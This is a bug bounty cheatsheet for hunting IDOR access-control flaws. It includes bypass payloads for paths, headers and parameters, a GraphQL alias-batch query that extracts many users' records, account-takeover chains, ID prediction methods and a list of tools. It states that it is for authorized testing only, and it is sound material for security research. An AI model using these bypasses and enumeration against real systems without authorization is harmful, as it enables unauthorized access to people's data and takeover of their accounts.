Desk reference
IDOR Cheatsheet
Desk Reference · v.2026 · OWASP 2025-aligned
Full guide: nrshafi.github.io/idor-guide
01. The Two-Account Loop
Section titled “01. The Two-Account Loop”- Create two accounts. Account A (Alice) = attacker, Account B (Bob) = victim. Same plan + cross-tenant if possible.
- Populate distinctively. Different names, files, settings. Visible deltas = fast confirmation.
- Use B normally. Walk every feature. Capture in Burp/Caido.
- Swap to A’s session. Replay B’s requests with A’s token/cookie.
- Confirm. Success = A retrieves/mutates B’s data.
Test 4 identities: owner · same-tenant · cross-tenant · unauthenticated. Hash-diff body, X-Cache, Age. Autorize automates the loop.
02. Per-Endpoint Method Matrix
Section titled “02. Per-Endpoint Method Matrix”- GET reads victim data?
- POST create resources under victim?
- PUT / PATCH mutate victim fields (email, role, reset token)?
- DELETE delete victim resources?
- HEAD existence probe / header leakage?
- OPTIONS CORS preflight reveals hidden methods?
- FOO bogus method falls through to GET on some frameworks
- Override
X-HTTP-Method-Override: PUTon a locked verb
03. Where Identifiers Hide
Section titled “03. Where Identifiers Hide”| Path | /users/42/profile |
| Query | ?orderId=9011 |
| Body | {"target_user":42} |
| Header | X-Account-Id: 42 |
| JWT | "sub":42,"tenant":7 |
| Cookie | userid=42 |
| S3 / file | /uploads/u42/file.pdf |
| GraphQL var | {user(id:42)} |
| WebSocket | {"resource":42} |
04. ID Formats & Attack
Section titled “04. ID Formats & Attack”| int | enumerate freely; top ID leaks total count |
| base64 / hashid | reversible, decode, enumerate, re-encode |
| ObjectID | 4b ts + 5b per-process + 3b counter; 1 known id ⇒ predict |
| UUIDv1 | ts + MAC; sandwich attack (guidtool) |
| snowflake | timestamp >> 22, then machine, sequence & 0xFFF. Walk a time window. |
| UUIDv7/ULID | timestamp-ordered. Neighbors sit in a small band. Random tail blocks a full walk. Weak as a secret token. |
| hash | often md5(uid)/md5(email), try inputs |
| slug | OSINT usernames from comments / profiles |
| base36 / trunc hash | int(s, 36) or md5(str(n))[:8]. Crack offline, request a handful. |
| UUIDv4/nanoid | random, hunt for leaks. mt_rand and truncated hashes are the exception. |
Version nibble: -1xxx- time · -4xxx- random · -7xxx- ordered
05. Path Normalization Bypasses
Section titled “05. Path Normalization Bypasses”Baseline: /api/users/7011
| Trailing slash | /api/users/7011/ |
| Double slash | /api//users/7011 |
| Dot-segment | /api/./users/7011 |
| Traversal | /api/users/7000/../7011 |
| Encoded slash | /api/users%2F7011 |
| Double-encoded | /api/users%252F7011 |
| Null byte | /api/users/7011%00 |
| Zero-width space | /api/users/7011%E2%80%8B |
| Extension swap | /api/users/7011.json / .xml |
| Case | /api/USERS/7011 |
06. Header-Based Bypasses
Section titled “06. Header-Based Bypasses”X-Original-URL: /api/users/7011X-Rewrite-URL: /api/users/7011X-Forwarded-For: 127.0.0.1X-Forwarded-Host: localhostX-Custom-IP-Authorization: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Host: localhostReferer: https://target.com/admin/07. Parameter Pollution & Type Confusion
Section titled “07. Parameter Pollution & Type Confusion”# Two values, parser disagreement?id=SELF&id=7011?id=7011&id=SELF
# Array / object wrapping{"user_id": 7011} → 403{"user_id": [7011]} → 200{"user_id": ["SELF",7011]} → 200{"user_id": {"v": 7011}} → 200
# Type confusion"7011" 7011.0 "007011" 0x1B6308. Endpoint Variants to Try
Section titled “08. Endpoint Variants to Try”- Version downgrade
v3 → v2 → v1 → internal → legacy - Mobile-only
/api/mobile/,/api/ios/,/api/android/ - Subpath swap
/profile→/details,/info,/summary - Batch / list
?ids[]=7011,/users/batch - Export / report
/export,/print,/pdf,/download - Content-type swap json → xml → form-data → urlencoded
09. GraphQL Quick Reference
Section titled “09. GraphQL Quick Reference”Introspection first. Then test every resolver with foreign IDs.
# Alias-batched IDOR — 1 HTTP req, N recordsquery { u1: user(id: 7001) { email phone } u2: user(id: 7002) { email phone } // ... 100+ aliases ... u100: user(id: 7100) { email phone }}- Introspection off?
graphw00ffingerprint +Clairvoyanceschema recovery - Field-level auth gaps check nested resolvers (
user.orders,user.paymentMethod) - node() back door retry blocked object via
node(id:"base64") - Fragments re-request protected fields via fragment (directive bypass)
- Mutations
updateUser,resetPassword,transferOwnershipwith foreign IDs - Hidden mutations introspection reveals admin ops accessible to low-priv
- Batch / alias array of operations, or N aliases, in one POST
node(id)Relay global id is base64 ofType:id.VXNlcjoxMDQy=User:1042
10. Advanced & Chains
Section titled “10. Advanced & Chains”- IDOR → ATO mutate victim’s email, trigger reset, take over
- IDOR + IDOR first leaks the second’s required identifier
- IDOR + mass assignment add
role,tenant_id,is_adminin body - IDOR + race non-atomic ownership check; HTTP/2 single-packet
- IDOR + cache deception personalized response cached publicly
- WebSocket IDOR replay frames with foreign
resource_id - Mobile-backend APK decompile + Frida pin-bypass for endpoints
- UUIDv1 prediction
guidtool, predict from one sample. v7: time-neighbor band. - Cross-tenant swap host or
tenant_id, keep your token. Shared sequences cross the wall. - Recycled id / rebind old token on a reused id; foreign id on verify, share, or owner routes
- Confused deputy JWT
subvsuserIdparam, cookie, orX-User-Id - Glitter
ZZVICTIMZZin B’s data, then grep responses
11. Essential Tooling
Section titled “11. Essential Tooling”-
Burp / Caido primary proxy
-
Autorize auth-bypass detection
-
AuthMatrix role matrix testing
-
Param Miner hidden headers/params
-
InQL GraphQL schema browser
-
Turbo Intruder race conditions
-
ffuf endpoint fuzzer
-
katana / gau crawl + archived URLs
-
arjun hidden param discovery
-
jsluice / sourcemapper JS + .js.map mining
-
graphw00f / Clairvoyance GraphQL recon
-
mongo-objectid-predict ObjectID
12. AI-Assisted Workflow (2026)
Section titled “12. AI-Assisted Workflow (2026)”- use AI extract endpoints from JS bundles & OpenAPI
- use AI scaffold safe PoC scripts (hard-cap N=5)
- use AI draft report structure & CVSS reasoning
- careful bypass-payload brainstorming (verify each)
- manual the two-account confirmation loop
- manual deciding a bug exists
- never paste victim PII / live tokens to AI providers
Pattern: 2 different models, one finds, one disproves (swarm auditing, e.g. evilsocket/audit).
13. Report Structure
Section titled “13. Report Structure”- Summary one sentence, name the endpoint & parameter
- Severity CVSS v3.1 + v4.0 vector (v4 VC/VI/VA + SC/SI/SA fits cross-tenant)
- Steps to Reproduce both accounts, both tokens (redacted), exact request
- PoC 2 screenshots min; script ≤ 5 records
- Impact quantify (n users, PII scope, cross-tenant?)
- Remediation brief;
request.user.id == params.user_id
14. 2024-2026 Bounty Bands
Section titled “14. 2024-2026 Bounty Bands”| Horizontal read · low-sens | $100-500 |
| Horizontal read · full PII | $500-2.5K |
| Horizontal mutation | $1K, 3.5K |
| IDOR + ATO chain | $3K, 10K+ |
| Cross-tenant SaaS breach | $5K, 25K+ |
| Vertical (admin op) | $5K, 20K+ |
| Mass extraction (alias batch) | $5K, 30K+ |
15. Pre-empt Triager Pushback
Section titled “15. Pre-empt Triager Pushback”| “intended, same team” | show cross-tenant works |
| “need victim UUID” | show where it leaks |
| “need victim email” | show harvest path |
| “low-sens fields” | enumerate every field returned |
| “duplicate” | timestamps + unique variant |
| “out of scope” | re-read scope, quote it |
16. Pre-flight Checklist
Section titled “16. Pre-flight Checklist”- Two accounts live & populated; test 4 identities (owner / same-tenant / cross-tenant / anon)
- Recon: source maps, archived URLs, hidden params
- Decode the ID (base64/hashid/ObjectID/UUIDv1) before enumerating
- Swap ID in every location (path / query / body / header / cookie / JWT)
- Swap method (every verb, not just GET)
- Blocked? path-normalize + header bypass + ID-in-two-places
- Try array / object / type-confused parameter shapes
- For UUID/random IDs: hunt where they leak publicly
- No data echoed? check blind IDOR via side effects
- GraphQL? fingerprint → alias → nested → node() → fragments → mutations
- Decode base64 / base62 / base36 / hash prefix before giving up
- Try every
/meroute as an ID-bearing sibling - 200 / 403 / 404 / empty 200 / 500 written down. 404 may be a hidden 403.
- Found one? chain it (ATO / mass / cross-tenant); score CVSS 4.0
- No production deletes, no brute force, no prank emails, no SMS to real users
- Cap PoC at 5 records, never dump the database
- Re-read scope before reporting
17. 2027 Surfaces
Section titled “17. 2027 Surfaces”- BaaS
GET /rest/v1/t?select=*with the anon key. RLS is the check. - Next.js
x-middleware-subrequest,Next-Actionhash,?_rsc= - tRPC
batch=1andprotectedProcedureon an admin call - Federation
_entities, then the subgraph at/_graphql - MCP
resources/readandtools/callwith a foreign id - Cache A then B then anon.
X-Cache: HITwith the wrong body - Job
POST /exports→ poll → fetch the signed URL with no cookie - Edge parent checked, child not: versions, attachments, share, duplicate, trash
Scope discipline: Every technique on this card applies only to systems whose owners have explicitly authorized testing, bug bounty programs, VDPs, or written engagements. Out-of-scope testing is unauthorized access.
Open local graph around this page
IDOR HuntingFor educational and authorized bug bounty use only.